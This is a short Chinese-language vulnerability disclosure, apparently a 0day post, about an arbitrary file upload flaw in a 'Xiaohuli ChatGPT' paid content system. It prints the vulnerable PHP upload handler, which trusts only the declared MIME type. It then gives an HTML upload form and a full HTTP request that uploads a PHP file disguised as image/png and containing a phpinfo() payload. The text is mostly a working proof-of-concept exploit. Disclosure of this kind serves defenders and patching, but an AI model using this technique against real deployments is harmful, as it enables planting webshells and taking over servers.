(0day)小狐狸Chatgpt付费创作系统存在任意文件上传漏洞

public function uploadMedia(){    try {      $file = request()->file('file');      $mine = $file->getMime();      if (!in_array($mine, ['image/png', 'image/jpeg', 'video/mp4'])) {        return errorJson('仅支持上传jpg/png/mp4格式文件');      }      if ($mine == 'video/mp4') {        $fileType = 'video';      } else {        $fileType = 'image';      }      $path = Filesystem::disk('public')->putFile($fileType, $file, 'uniqid');      $url = saveToOss('./upload/' . $path);      return successJson([                         'type' => $fileType,                         'path' => $url                         ]);    } catch (Exception $e) {      return errorJson($e->getMessage());    }  }

<form action="http://127.0.0.1/web.php/video/uploadMedia" method="post" enctype="multipart/form-data">  <input type="file" name="file">  <input type="submit" value="上传"></form>

POST /web.php/video/uploadMedia HTTP/1.1Host: 127.0.0.1:81Content-Length: 594Cache-Control: max-age=0sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: nullContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryhp8gBUbCczcaLGAaUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=662e1cea3d0191Connection: close------WebKitFormBoundaryhp8gBUbCczcaLGAaContent-Disposition: form-data; name="file"; filename="1.php"Content-Type: image/png你的图片数据<?php phpinfo();?>------WebKitFormBoundaryhp8gBUbCczcaLGAa--